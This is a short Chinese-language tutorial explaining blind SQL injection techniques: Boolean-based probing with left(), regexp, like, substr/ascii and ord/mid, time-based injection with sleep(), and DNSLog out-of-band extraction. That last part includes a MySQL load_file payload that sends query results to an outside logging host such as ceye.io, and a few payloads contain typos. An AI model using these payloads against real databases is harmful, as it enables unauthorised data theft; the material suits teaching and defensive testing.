Blind SQL(盲注) 是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQl注入存在的代码问题。 演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息。Blind SQL(盲注)与常规注入很接近,不同的是数据库返回数据的检索方式。若数据库没有输出数据到web页面,攻击者会询问一些列的true 或false问题,强制从数据库获取数据。 常用构造语法: 构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入 left()函数 | left(database(),1)>‘s’ database()显示数据库名称,left(a,b)从 左侧截取a的前b位 regexp | select user() regexp ‘^r’ ,正则表达式用法,user()结果为root , regexp为匹配root的正则表达式 like | select user() like ‘ro%’ 与regexp类似,使用like进行匹配 substr()函0数 | ascss(substr((select database()),1,1))=98 ascii()函数 | substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个 字符转换为ascii值,进行比较判断真假 ord()函数 | ord(mid((select user()).1.1))=114; mid(1,b,c)从位置b开始, mid()函数 截取a字符串的c位ord()函数同ascii(),将字符转换为ascii值
基于时间的盲注 代码存在SQL注入漏洞,然后页面既不显示数据,也不会回显错误信息。语句执行后不进行提示真假,我们不能通过页面的内容来进行判断。这里我们可以通过构造语句,通过页面响应的时延来判断信息,这就是时间盲注。 例如: 核心语法:if(left(user,1)=‘a’,0,sleep(3)); 应用场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))
DnsLog盲注 代码存在SQl注入漏洞,然而页面既不回显数据,也不回显错误信息。这时我们通过布尔或者时间盲注都可以获取到内容,但整个过程效率较低,需要发送很多的请求进行判断,很可能会触发安全设备的防护。我们需要一种方式,减少请求,直接回显数据,这里可以使用DnsLog实现注入。 DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息 --推荐使用DnsLog平台:http://ceye.io/ Mysql的load_file函数可以发起请求: select load_file(concat(’\\’, payload, ‘.5ceyexxxxxx\abc’)); 通过SQL语句查询内容,作为请求的一部分,发送至DnsLog,只要对这一部分的语句进行构造,就能实现有回显的SQL注入。值得注意的是,这些数据格式和内容都有限制,需要进行一些处理(不能使用一些特殊字符)。